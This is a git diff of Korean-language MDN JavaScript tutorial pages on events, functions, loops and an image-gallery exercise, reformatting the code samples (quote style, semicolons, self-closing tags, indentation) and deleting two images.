-        <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4" type="video/mp4">
-        <source src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm" type="video/webm">
-        <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+        <source
+          src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.mp4"
+          type="video/mp4" />
+        <source
+          src="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/events/rabbit320.webm"
+          type="video/webm" />
+        <p>
+          Your browser doesn't support HTML5 video. Here is a
+          <a href="rabbit320.mp4">link to the video</a> instead.
+        </p>
       </video>
     </div>
 
     <script>
+      const btn = document.querySelector("button");
+      const videoBox = document.querySelector("div");
+      const video = document.querySelector("video");
 
-      const btn = document.querySelector('button');
-      const videoBox = document.querySelector('div');
-      const video = document.querySelector('video');
-
-      btn.onclick = function() {
+      btn.onclick = function () {
         displayVideo();
-      }
+      };
 
       function displayVideo() {
-        if(videoBox.getAttribute('class') === 'hidden') {
-          videoBox.setAttribute('class','showing');
+        if (videoBox.getAttribute("class") === "hidden") {
+          videoBox.setAttribute("class", "showing");
         }
       }
 
-      videoBox.addEventListener('click',function() {
-        videoBox.setAttribute('class','hidden');
+      videoBox.addEventListener("click", function () {
+        videoBox.setAttribute("class", "hidden");
       });
 
-      video.addEventListener('click',function() {
+      video.addEventListener("click", function () {
         video.play();
       });
-
     </script>
   </body>
 </html>
@@ -496,9 +521,12 @@ form.onsubmit = function(e) {
 
 <div class="hidden">
   <video>
-    <source src="rabbit320.mp4" type="video/mp4">
-    <source src="rabbit320.webm" type="video/webm">
-    <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+    <source src="rabbit320.mp4" type="video/mp4" />
+    <source src="rabbit320.webm" type="video/webm" />
+    <p>
+      Your browser doesn't support HTML5 video. Here is a
+      <a href="rabbit320.mp4">link to the video</a> instead.
+    </p>
   </video>
 </div>
 ```
@@ -506,19 +534,19 @@ form.onsubmit = function(e) {
 {{htmlelement("button")}}이 선택되었을 때, `<div>`의 클래스 어트리뷰트를 `hidden`에서 `showing`으로 바꿈으로써, 비디오는 표시됩니다. (예제의 CSS는 이 두 클래스를 포함하고 있는데, 각각 박스를 화면에서 벗어나게 만들고 들어오게 위치시킵니다):
 
 ```js
-btn.onclick = function() {
-  videoBox.setAttribute('class', 'showing');
-}
+btn.onclick = function () {
+  videoBox.setAttribute("class", "showing");
+};
 ```
 
 우리는 그리고서 두 개의 `onclick` 이벤트 핸들러를 추가합니다 — 첫번째는 `<div>`에 대한 것이고 두번째는 `<video>`에 대한 것입니다. 이제, 비디오 외부의 `<div>` 영역이 선택되었을 때, 박스는 다시 숨겨져야만 하고 비디오 그 자체가 선택되었을 때, 비디오는 재생을 시작해야만 합니다.
 
 ```js
-videoBox.onclick = function() {
-  videoBox.setAttribute('class', 'hidden');
+videoBox.onclick = function () {
+  videoBox.setAttribute("class", "hidden");
 };
 
-video.onclick = function() {
+video.onclick = function () {
   video.play();
 };
 ```
@@ -557,7 +585,7 @@ video.onclick = function() {
 그러므로, 이전 코드 블럭에 있는 두 번째 핸들러 함수를 다음으로 변경함으로써 우리는 현재의 문제를 고칠 수 있습니다:
 
 ```js
-video.onclick = function(e) {
+video.onclick = function (e) {
   e.stopPropagation();
   video.play();
 };
diff --git a/files/ko/learn/javascript/building_blocks/events/mdn-mozilla-events-runway.png b/files/ko/learn/javascript/building_blocks/events/mdn-mozilla-events-runway.png
deleted file mode 100644
index e835ca57e41b27..00000000000000
Binary files a/files/ko/learn/javascript/building_blocks/events/mdn-mozilla-events-runway.png and /dev/null differ
diff --git a/files/ko/learn/javascript/building_blocks/functions/index.md b/files/ko/learn/javascript/building_blocks/functions/index.md
index fd37645ad55ebc..f0f1b8d59c91ba 100644
--- a/files/ko/learn/javascript/building_blocks/functions/index.md
+++ b/files/ko/learn/javascript/building_blocks/functions/index.md
@@ -35,8 +35,8 @@ slug: Learn/JavaScript/Building_blocks/Functions
 우리는 이 코스에서 많은 브라우저 내장(built-in) 함수를 사용해왔습니다. 예를 들어, 우리가 매번 텍스트 문자열을 조작할 때마다:
 
 ```js
-var myText = 'I am a string';
-var newString = myText.replace('string', 'sausage');
+var myText = "I am a string";
+var newString = myText.replace("string", "sausage");
 console.log(newString);
 // the replace() string function takes a string,
 // replaces one substring with another, and returns
@@ -46,8 +46,8 @@ console.log(newString);
 또는 우리가 배열을 조작할 때마다:
 
 ```js
-var myArray = ['I', 'love', 'chocolate', 'frogs'];
-var madeAString = myArray.join(' ');
+var myArray = ["I", "love", "chocolate", "frogs"];
+var madeAString = myArray.join(" ");
 console.log(madeAString);
 // the join() function takes an array, joins
 // all the array items together into a single
@@ -81,10 +81,10 @@ JavaScript 언어는 여러분 스스로 코드 전체를 적을 필요 없이,
 
 ```js
 function draw() {
-  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  ctx.clearRect(0, 0, WIDTH, HEIGHT);
   for (var i = 0; i < 100; i++) {
     ctx.beginPath();
-    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.fillStyle = "rgba(255,0,0,0.5)";
     ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
     ctx.fill();
   }
@@ -101,7 +101,7 @@ draw();
 
 ```js
 function random(number) {
-  return Math.floor(Math.random()*number);
+  return Math.floor(Math.random() * number);
 }
 ```
 
@@ -113,10 +113,10 @@ function random(number) {
 
 ```js
 function myFunction() {
-  alert('hello');
+  alert("hello");
 }
 
-myFunction()
+myFunction();
 // calls the function once
 ```
 
@@ -128,7 +128,7 @@ myFunction()
 
 ```js
 function myFunction() {
-  alert('hello');
+  alert("hello");
 }
 ```
 
@@ -143,11 +143,11 @@ function() {
 이건 **익명 함수**라고 불려요. 이름이 없다는 뜻이죠! 익명함수는 스스로 뭘 어쩌지 못 해요. 익명함수는 주로 이벤트 핸들러와 사용됩니다. 아래의 예시는 함수 내의 코드가 관련된 버튼을 클릭함에 따라 작동한다는 걸 보여주죠.
 
 ```js
-var myButton = document.querySelector('button');
+var myButton = document.querySelector("button");
 
-myButton.onclick = function() {
-  alert('hello');
-}
+myButton.onclick = function () {
+  alert("hello");
+};
 ```
 
 위의 예시는 페이지 상의 클릭을 위해 {{htmlelement("button")}} 요소를 필요로 합니다. 여러분은 코스를 거치며 이런 구조의 코드를 꽤 봐왔을 거예요. 다음 문서에서 더 많은 걸 배워 보자구요.
@@ -155,9 +155,9 @@ myButton.onclick = function() {
 여러분은 변수 속에 익명함수를 넣을 수 있어요. 예시입니다.
 
 ```js
-var myGreeting = function() {
-  alert('hello');
-}
+var myGreeting = function () {
+  alert("hello");
+};
 ```
 
 > **참고:** 이 형태의 함수 생성은 또한 _함수 표현식_(function expression)으로도 알려져 있습니다. 함수 선언과는 다르게, 함수 표현식은 호이스팅되지 않습니다.
@@ -171,9 +171,9 @@ myGreeting();
 이 방법은 효과적으로 함수에 이름을 부여하고 있어요. 여러분은 다중 변수들에 함수를 할당할 수도 있죠. 예를 들면,
 
 ```js
-var anotherGreeting = function() {
-  alert('hello');
-}
+var anotherGreeting = function () {
+  alert("hello");
+};
 ```
 
 이제 함수는 이런 식으로도 호출이 가능해졌구요.
@@ -187,18 +187,18 @@ anotherGreeting();
 
 ```js
 function myGreeting() {
-  alert('hello');
+  alert("hello");
 }
 ```
 
 익명함수는 이벤트 발생에 따른 수많은 코드를 작동시키기 위해 주로 쓰이게 돼요. 이벤트 핸들러를 사용한 버튼의 클릭과 같은 상황에 말이죠. 자, 그 코드는 아래와 같이 생겼어요.
 
 ```js
-myButton.onclick = function() {
-  alert('hello');
+myButton.onclick = function () {
+  alert("hello");
   // 내가 원하는 만큼 얼마든지
   // 여기에 코드를 작성하면 됩니다!
-}
+};
 ```
 
 ## 함수 매개변수
@@ -216,8 +216,8 @@ var myNumber = Math.random();
 하지만 브라우저의 내장 문자열 [replace()](/ko/docs/Web/JavaScript/Reference/Global_Objects/String/replace) 함수는 두 개의 매개변수를 필요로 합니다. 대체될 문자와 대체할 문자죠.
 
 ```js
-var myText = 'I am a string';
-var newString = myText.replace('string', 'sausage');
+var myText = "I am a string";
+var newString = myText.replace("string", "sausage");
 ```
 
 > **참고:** 여러 개의 매개변수는 콤마에 의해 구분되어집니다.
@@ -225,8 +225,8 @@ var newString = myText.replace('string', 'sausage');
 매개변수는 이따금 선택 사항이기도 합니다. 여러분이 명시해 줄 필요가 없다는 뜻이죠. 그런 경우, 일반적으로 함수는 기본 기능을 수행합니다. 예를 들어, 배열과 관련된 [join()](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/join) 함수의 매개변수가 그렇죠.
 
 ```js
-var myArray = ['I', 'love', 'chocolate', 'frogs'];
-var madeAString = myArray.join(' ');
+var myArray = ["I", "love", "chocolate", "frogs"];
+var madeAString = myArray.join(" ");
 // returns 'I love chocolate frogs'
 var madeAString = myArray.join();
 // returns 'I,love,chocolate,frogs'
@@ -255,17 +255,17 @@ var madeAString = myArray.join();
 
 ```js
 // first.js
-var name = 'Chris';
+var name = "Chris";
 function greeting() {
-  alert('Hello ' + name + ': welcome to our company.');
+  alert("Hello " + name + ": welcome to our company.");
 }
 ```
 
 ```js
 // second.js
-var name = 'Zaptec';
+var name = "Zaptec";
 function greeting() {
-  alert('Our company is called ' + name + '.');
+  alert("Our company is called " + name + ".");
 }
 ```
 
@@ -289,79 +289,79 @@ function greeting() {
 2. 예제를 인터넷 브라우저나 텍스트 에디터를 통해 열어봅시다.
 3. 브라우저 개발자 툴에서 자바스크립트 콘솔을 엽시다. 자바스크립트 콘솔에서 아래와 같이 작성해보세요.
 
-    ```js
-    output(x);
-    ```
+   ```js
+   output(x);
+   ```
 
-    여러분은 브라우저 뷰포트에 출력된 변수 `x`의 값을 볼 수 있을 것입니다.
+   여러분은 브라우저 뷰포트에 출력된 변수 `x`의 값을 볼 수 있을 것입니다.
 
 4. 이제 다음을 콘솔에 입력해 보세요.
 
-    ```js
-    output(y);
-    output(z);
-    ```
+   ```js
+   output(y);
+   output(z);
+   ```
 
-    이것 모두는 다음의 오류를 리턴할 것입니다. "[ReferenceError: y is not defined](/ko/docs/Web/JavaScript/Reference/Errors/Not_defined)". 이것은 왜 그럴까요? 왜냐하면 함수 스코프 때문입니다. — `y`와 `z`는 `a()`와 `b()`함수 안에 잡혀 있어서, `output()`은 전역 스코프에서 호출되었을 때 그들에게 접근할 수 없습니다.
+   이것 모두는 다음의 오류를 리턴할 것입니다. "[ReferenceError: y is not defined](/ko/docs/Web/JavaScript/Reference/Errors/Not_defined)". 이것은 왜 그럴까요? 왜냐하면 함수 스코프 때문입니다. — `y`와 `z`는 `a()`와 `b()`함수 안에 잡혀 있어서, `output()`은 전역 스코프에서 호출되었을 때 그들에게 접근할 수 없습니다.
 
 5. 그러나, 이것이 다른 함수 안쪽에서 호출되었을 때는 어떨까요? `a()`와 `b()`를 다음과 같이 보이도록 수정해 보세요.
 
-    ```js
-    function a() {
-      var y = 2;
-      output(y);
-    }
-
-    function b() {
-      var z = 3;
-      output(z);
-    }
-    ```
+   ```js
+   function a() {
+     var y = 2;
+     output(y);
+   }
 
-    코드를 저장하고 브라우저에서 다시 로드한 후, `a()`와 `b()` 함수를 자바스크립트 콘솔에서 호출해 보세요.
+   function b() {
+     var z = 3;
+     output(z);
+   }
+   ```
 
-    ```js
-    a();
-    b();
-    ```
+   코드를 저장하고 브라우저에서 다시 로드한 후, `a()`와 `b()` 함수를 자바스크립트 콘솔에서 호출해 보세요.
+
+   ```js
+   a();
+   b();
+   ```
 
-    여러분은 페이지에 출력된 `y`와 `z`값들을 볼 수 있을 것입니다. `output()` 함수가 다른 함수 안쪽에서 호출되고 있으므로, 이것은 잘 작동합니다. — 각각의 경우에서, 같은 스코프에서 그것이 출력하고 있는 변수들이 정의되어 있으므로. `output()`는 전역 스코프에서 정의되었으므로, 이 함수 자체는 어디서든 이용할 수 있습니다.
+   여러분은 페이지에 출력된 `y`와 `z`값들을 볼 수 있을 것입니다. `output()` 함수가 다른 함수 안쪽에서 호출되고 있으므로, 이것은 잘 작동합니다. — 각각의 경우에서, 같은 스코프에서 그것이 출력하고 있는 변수들이 정의되어 있으므로. `output()`는 전역 스코프에서 정의되었으므로, 이 함수 자체는 어디서든 이용할 수 있습니다.
 
 6. 이제 여러분의 코드를 다음과 같이 갱신해 보세요.
 
-    ```js
-    function a() {
-      var y = 2;
-      output(x);
-    }
-
-    function b() {
-      var z = 3;
-      output(x);
-    }
-    ```
+   ```js
+   function a() {
+     var y = 2;
+     output(x);
+   }
+
+   function b() {
+     var z = 3;
+     output(x);
+   }
+   ```
 
 7. 저장하고 다시 로드한 후 이것을 자바스크립트 콘솔에서 시도해 보세요.
 
-    ```js
-    a();
-    b();
-    ```
+   ```js
+   a();
+   b();
+   ```
 
 8. 브라우저 뷰포트에 `a()` 와 `b()` 모두 x 값을 출력해야 합니다. 왜냐하면 비록 `output()` 호출이 `x`가 정의되어 있는 같은 스코프에 있지 않더라도, `x`는 전역 변수이므로 모든 코드 어디서든 이용 가능하기 때문에 이것들은 잘 작동합니다.
 9. 마지막으로, 여러분의 코드를 다음과 같이 갱신해 보세요.
 
-    ```js
-    function a() {
-      var y = 2;
-      output(z);
-    }
-
-    function b() {
-      var z = 3;
-      output(y);
-    }
-    ```
+   ```js
+   function a() {
+     var y = 2;
+     output(z);
+   }
+
+   function b() {
+     var z = 3;
+     output(y);
+   }
+   ```
 
 10. 저장하고 다시 로드한 후, 자바스크립트 콘솔에서 다시 다음을 시도해 보세요.
 
diff --git a/files/ko/learn/javascript/building_blocks/image_gallery/gallery.png b/files/ko/learn/javascript/building_blocks/image_gallery/gallery.png
deleted file mode 100644
index a61c178f49b2ef..00000000000000
Binary files a/files/ko/learn/javascript/building_blocks/image_gallery/gallery.png and /dev/null differ
diff --git a/files/ko/learn/javascript/building_blocks/image_gallery/index.md b/files/ko/learn/javascript/building_blocks/image_gallery/index.md
index a1d4ba15b2c168..78c25fc86a5fa2 100644
--- a/files/ko/learn/javascript/building_blocks/image_gallery/index.md
+++ b/files/ko/learn/javascript/building_blocks/image_gallery/index.md
@@ -2,6 +2,7 @@
 title: 이미지 갤러리
 slug: Learn/JavaScript/Building_blocks/Image_gallery
 ---
+
 {{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
 
 이제 우리는 JavaScript의 핵심적인 구성 요소를 살펴보았으므로, 우리는 반복문, 함수, 조건문, 그리고 이벤트에 대한 여러분의 이해를 시험할 것입니다. 많은 웹사이트들에서 보게 될 꽤 흔한 아이템인 — JavaScript를 이용하는 이미지 갤러리를 만듦으로써 말이죠.
@@ -40,14 +41,12 @@ slug: Learn/JavaScript/Building_blocks/Image_gallery
 <h1>Image gallery example</h1>
 
 <div class="full-img">
-  <img class="displayed-img" src="images/pic1.jpg">
+  <img class="displayed-img" src="images/pic1.jpg" />
   <div class="overlay"></div>
   <button class="dark">Darken</button>
 </div>
 
-<div class="thumb-bar">
-
-</div>
+<div class="thumb-bar"></div>
 ```
 
 예제는 다음과 같습니다:
@@ -97,7 +96,7 @@ slug: Learn/JavaScript/Building_blocks/Image_gallery
 다음의 코드 라인은 위의 2와 3에서 규정된 변화 달성에 대한 기초를 제공합니다.
 
 ```js
-btn.setAttribute('class', xxx);
+btn.setAttribute("class", xxx);
 btn.textContent = xxx;
 overlay.style.backgroundColor = xxx;
 ```
@@ -113,9 +112,9 @@ overlay.style.backgroundColor = xxx;
 1. 여러분의 작업을 [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/), 또는 [Glitch](https://glitch.com/) 같은 온라인에서 공유 가능한 에디터에 올리세요.
 2. [MDN Discourse forum Learning category](https://discourse.mozilla.org/c/mdn/learn) 에 평가 및/또는 도움을 요청하는 글을 작성하세요. 여러분의 글은 다음을 포함해야만 합니다:
 
-    - "이미지 갤러리에 대한 평가 원함"과 같은 서술적인 제목.
-    - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
-    - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
-    - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
+   - "이미지 갤러리에 대한 평가 원함"과 같은 서술적인 제목.
+   - 여러분이 이미 무엇을 시도해 봤는지, 그리고 우리가 무엇을 하기를 원하는지에 대한 설명. 예를 들자면, 막혀서 도움이 필요하다거나, 평가를 원한다거나 하는 설명을 포함해야 합니다.
+   - (위의 단계 1에서 언급된) 온라인에서 공유 가능한 에디터에 있는, 여러분이 평가를 원하거나 도움이 필요한 예제의 링크. 이것은 익숙해지기에 좋은 습관입니다. 코딩 문제가 있는 누군가를 도울 때, 그들의 코드를 보지 못한다면 그들을 돕는 것은 몹시 힘듭니다.
+   - 우리가 여러분이 도움을 원하는 문제를 찾을 수 있도록, 실제 과제나 평가 페이지의 링크.
 
 {{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
diff --git a/files/ko/learn/javascript/building_blocks/index.md b/files/ko/learn/javascript/building_blocks/index.md
index e05d38d76a6c88..db77cf13e08791 100644
--- a/files/ko/learn/javascript/building_blocks/index.md
+++ b/files/ko/learn/javascript/building_blocks/index.md
@@ -2,6 +2,7 @@
 title: JavaScript 구성요소
 slug: Learn/JavaScript/Building_blocks
 ---
+
 {{LearnSidebar}}
 
 이번 과정에서는 조건문, 반복문, 함수, 이벤트 등 일반적으로 발생하는 코드 종류를 중심으로 JavaScript의 중요한 기본 기능에 대해 설명합니다. 지금까지의 과정을 지나면서 여기서 다룰 내용을 살짝 보셨겠지만 좀 더 심도있게 다룰 것입니다.
diff --git a/files/ko/learn/javascript/building_blocks/looping_code/index.md b/files/ko/learn/javascript/building_blocks/looping_code/index.md
index 69dc4e4a912f2d..01b5c8716dd64e 100644
--- a/files/ko/learn/javascript/building_blocks/looping_code/index.md
+++ b/files/ko/learn/javascript/building_blocks/looping_code/index.md
@@ -62,10 +62,10 @@ loop(food = 0; foodNeeded = 10) {
 왜 반복문이 그렇게 좋은 것인지를 완벽히 보여주는 예제를 봅시다. 우리가 {{htmlelement("canvas")}} 요소 위에 무작위의 원 100개를 그리고 싶다고 칩시다 (예제를 다시 실행하고, 다시 다른 무작위 집합들을 보기 위해 *Update*버튼을 누르세요):
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Random canvas circles</title>
     <style>
       html {
@@ -90,41 +90,37 @@ loop(food = 0; foodNeeded = 10) {
     </style>
   </head>
   <body>
+    <button>Update</button>
 
-  <button>Update</button>
-
-  <canvas></canvas>
-
+    <canvas></canvas>
 
     <script>
-    const btn = document.querySelector('button');
-    const canvas = document.querySelector('canvas');
-    const ctx = canvas.getContext('2d');
+      const btn = document.querySelector("button");
+      const canvas = document.querySelector("canvas");
+      const ctx = canvas.getContext("2d");
 
-    let WIDTH = document.documentElement.clientWidth;
-    let HEIGHT = document.documentElement.clientHeight;
+      let WIDTH = document.documentElement.clientWidth;
+      let HEIGHT = document.documentElement.clientHeight;
 
-    canvas.width = WIDTH;
-    canvas.height = HEIGHT;
+      canvas.width = WIDTH;
+      canvas.height = HEIGHT;
 
-    function random(number) {
-      return Math.floor(Math.random()*number);
-    }
-
-    function draw() {
-      ctx.clearRect(0,0,WIDTH,HEIGHT);
-      for (let i = 0; i < 100; i++) {
-        ctx.beginPath();
-        ctx.fillStyle = 'rgba(255,0,0,0.5)';
-        ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
-        ctx.fill();
+      function random(number) {
+        return Math.floor(Math.random() * number);
       }
-    }
 
-    btn.addEventListener('click',draw);
+      function draw() {
+        ctx.clearRect(0, 0, WIDTH, HEIGHT);
+        for (let i = 0; i < 100; i++) {
+          ctx.beginPath();
+          ctx.fillStyle = "rgba(255,0,0,0.5)";
+          ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+          ctx.fill();
+        }
+      }
 
+      btn.addEventListener("click", draw);
     </script>
-
   </body>
 </html>
 ```
@@ -136,7 +132,7 @@ loop(food = 0; foodNeeded = 10) {
 ```js
 for (let i = 0; i < 100; i++) {
   ctx.beginPath();
-  ctx.fillStyle = 'rgba(255,0,0,0.5)';
+  ctx.fillStyle = "rgba(255,0,0,0.5)";
   ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
   ctx.fill();
 }
@@ -151,7 +147,7 @@ for (let i = 0; i < 100; i++) {
 
 ```js
 ctx.beginPath();
-ctx.fillStyle = 'rgba(255,0,0,0.5)';
+ctx.fillStyle = "rgba(255,0,0,0.5)";
 ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
 ctx.fill();
 ```
@@ -173,21 +169,21 @@ for (초기화식; 종료 조건; 증감식) {
 1. 괄호가 뒤따라오는 키워드 `for`.
 2. 괄호 안에는, 세미콜론으로 구분되는, 세개의 항목이 있습니다:
 
-    1. **초기화식**(initializer) — 이것은 보통 숫자로 설정된 변수인데, 반복문이 실행될 횟수(count)까지 증가됩니다. 이것은 또한 때때로 **카운터 변수**(counter variable)라고도 불립니다.
-    2. **조건식**(condition) — 전에 언급했듯이, 이것은 언제 반복문이 반복을 멈춰야만 하는지를 정의합니다. 이것은 일반적으로 비교 연산자(comparison operator)를 특징으로 하는 표현식(expression)인데, 이는 종료 조건이 충족되었는지를 확인하는 테스트입니다.
-    3. **증감식**(final-expression) — 이것은 반복문이 전체 반복을 거쳤을 때마다 항상 평가(혹은 실행)됩니다. 이것은 보통 카운터 변수를 증가 (혹은 몇몇 경우에는 감소)시키기 위해, 조건이 더 이상 `true`가 아닌 지점에 가까워지게 하기 위해 제공됩니다.
+   1. **초기화식**(initializer) — 이것은 보통 숫자로 설정된 변수인데, 반복문이 실행될 횟수(count)까지 증가됩니다. 이것은 또한 때때로 **카운터 변수**(counter variable)라고도 불립니다.
+   2. **조건식**(condition) — 전에 언급했듯이, 이것은 언제 반복문이 반복을 멈춰야만 하는지를 정의합니다. 이것은 일반적으로 비교 연산자(comparison operator)를 특징으로 하는 표현식(expression)인데, 이는 종료 조건이 충족되었는지를 확인하는 테스트입니다.
+   3. **증감식**(final-expression) — 이것은 반복문이 전체 반복을 거쳤을 때마다 항상 평가(혹은 실행)됩니다. 이것은 보통 카운터 변수를 증가 (혹은 몇몇 경우에는 감소)시키기 위해, 조건이 더 이상 `true`가 아닌 지점에 가까워지게 하기 위해 제공됩니다.
 
 3. 코드 블럭을 감싸는 중괄호 — 이 코드는 반복문이 반복될 때마다 실행될 것입니다.
 
 이것들이 무엇을 하는지를 더욱 확실하게 시각화할 수 있도록 실제 예제를 봅시다.
 
 ```js
-const cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
-let info = 'My cats are called ';
-const para = document.querySelector('p');
+const cats = ["Bill", "Jeff", "Pete", "Biggles", "Jasmin"];
+let info = "My cats are called ";
+const para = document.querySelector("p");
 
 for (let i = 0; i < cats.length; i++) {
-  info += cats[i] + ', ';
+  info += cats[i] + ", ";
 }
 
 para.textContent = info;
@@ -196,33 +192,27 @@ para.textContent = info;
 이것은 우리에게 다음의 결과를 보여줍니다:
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Basic for loop example</title>
-    <style>
-
-    </style>
+    <style></style>
   </head>
   <body>
-
-  <p></p>
-
+    <p></p>
 
     <script>
-    const cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
-    let info = 'My cats are called ';
-    const para = document.querySelector('p');
-
-    for (let i = 0; i < cats.length; i++) {
-      info += cats[i] + ', ';
-    }
+      const cats = ["Bill", "Jeff", "Pete", "Biggles", "Jasmin"];
+      let info = "My cats are called ";
+      const para = document.querySelector("p");
 
-    para.textContent = info;
+      for (let i = 0; i < cats.length; i++) {
+        info += cats[i] + ", ";
+      }
 
+      para.textContent = info;
     </script>
-
   </body>
 </html>
 ```
@@ -237,9 +227,9 @@ para.textContent = info;
 2. 반복문은 `i`가 더 이상 `cats` 배열의 길이(length)보다 작지 않을 때까지 실행되라는 명령을 받았습니다. 이것은 중요합니다 — 조건은 반복문이 여전히 실행되는 것 아래의 조건입니다. 그래서 이 경우, `i < cats.length`가 여전히 true인 동안, 반복문은 계속 실행될 것입니다.
 3. 반복문 안에서, 우리는 콤마와 공백(space)과 같이 있는 현재 반복 요소(item) (`cats[이 때 i가 무엇이든]`인, `cats[i]`)를 `info` 변수의 끝에 연결시킵니다. 그래서:
 
-    1. 첫번째 실행 동안에, `i = 0`이므로, `cats[0] + ', '` (이는 `Bill,`과 같습니다)는 `info`에 연결될 것입니다.
-    2. 두번째 실행 동안에, `i = 1`이므로, `cats[1] + ', '` (이는 `Jeff,`와 같습니다)는 `info`에 연결될 것입니다.
-    3. 계속 이와 같습니다. 반복문이 실행 된 후마다, `i`에 1이 더해질 것이고 (`i++`), 이 과정(process)은 다시 실행될 것입니다.
+   1. 첫번째 실행 동안에, `i = 0`이므로, `cats[0] + ', '` (이는 `Bill,`과 같습니다)는 `info`에 연결될 것입니다.
+   2. 두번째 실행 동안에, `i = 1`이므로, `cats[1] + ', '` (이는 `Jeff,`와 같습니다)는 `info`에 연결될 것입니다.
+   3. 계속 이와 같습니다. 반복문이 실행 된 후마다, `i`에 1이 더해질 것이고 (`i++`), 이 과정(process)은 다시 실행될 것입니다.
 
 4. `i`가 `cats.length`와 같아질 때 (이 경우, 5), 반복문은 멈출 것이고, 브라우저는 반복문 아래에 있는 다음 코드로 이동할 것입니다.
 
@@ -256,9 +246,9 @@ para.textContent = info;
 ```js
 for (let i = 0; i < cats.length; i++) {
   if (i === cats.length - 1) {
-    info += 'and ' + cats[i] + '.';
+    info += "and " + cats[i] + ".";
   } else {
-    info += cats[i] + ', ';
+    info += cats[i] + ", ";
   }
 }
 ```
@@ -277,7 +267,7 @@ for (let i = 0; i < cats.length; i++) {
 
 ```html
 <label for="search">Search by contact name: </label>
-<input id="search" type="text">
+<input id="search" type="text" />
 <button>Search</button>
 
 <p></p>
@@ -286,67 +276,76 @@ for (let i = 0; i < cats.length; i++) {
 이제 JavaScript를 봅시다:
 
 ```js
-const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
-const para = document.querySelector('p');
-const input = document.querySelector('input');
-const btn = document.querySelector('button');
-
-btn.addEventListener('click', function() {
+const contacts = [
+  "Chris:2232322",
+  "Sarah:3453456",
+  "Bill:7654322",
+  "Mary:9998769",
+  "Dianne:9384975",
+];
+const para = document.querySelector("p");
+const input = document.querySelector("input");
+const btn = document.querySelector("button");
+
+btn.addEventListener("click", function () {
   let searchName = input.value;
-  input.value = '';
+  input.value = "";
   input.focus();
   for (let i = 0; i < contacts.length; i++) {
-    let splitContact = contacts[i].split(':');
+    let splitContact = contacts[i].split(":");
     if (splitContact[0] === searchName) {
-      para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+      para.textContent =
+        splitContact[0] + "'s number is " + splitContact[1] + ".";
       break;
     } else {
-      para.textContent = 'Contact not found.';
+      para.textContent = "Contact not found.";
     }
   }
 });
 ```
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Simple contact search example</title>
-    <style>
-
-    </style>
+    <style></style>
   </head>
   <body>
+    <label for="search">Search by contact name: </label>
+    <input id="search" type="text" />
+    <button>Search</button>
 
-  <label for="search">Search by contact name: </label>
-  <input id="search" type="text">
-  <button>Search</button>
-
-  <p></p>
-
+    <p></p>
 
     <script>
-    const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
-    const para = document.querySelector('p');
-    const input = document.querySelector('input');
-    const btn = document.querySelector('button');
-
-    btn.addEventListener('click', function() {
-      let searchName = input.value;
-      input.value = '';
-      input.focus();
-      for (let i = 0; i < contacts.length; i++) {
-        let splitContact = contacts[i].split(':');
-        if (splitContact[0] === searchName) {
-          para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
-          break;
-        } else if (i === contacts.length-1)
-              para.textContent = 'Contact not found.';
+      const contacts = [
+        "Chris:2232322",
+        "Sarah:3453456",
+        "Bill:7654322",
+        "Mary:9998769",
+        "Dianne:9384975",
+      ];
+      const para = document.querySelector("p");
+      const input = document.querySelector("input");
+      const btn = document.querySelector("button");
+
+      btn.addEventListener("click", function () {
+        let searchName = input.value;
+        input.value = "";
+        input.focus();
+        for (let i = 0; i < contacts.length; i++) {
+          let splitContact = contacts[i].split(":");
+          if (splitContact[0] === searchName) {
+            para.textContent =
+              splitContact[0] + "'s number is " + splitContact[1] + ".";
+            break;
+          } else if (i === contacts.length - 1)
+            para.textContent = "Contact not found.";
         }
-    });
+      });
     </script>
-
   </body>
 </html>
 ```
@@ -358,9 +357,9 @@ btn.addEventListener('click', function() {
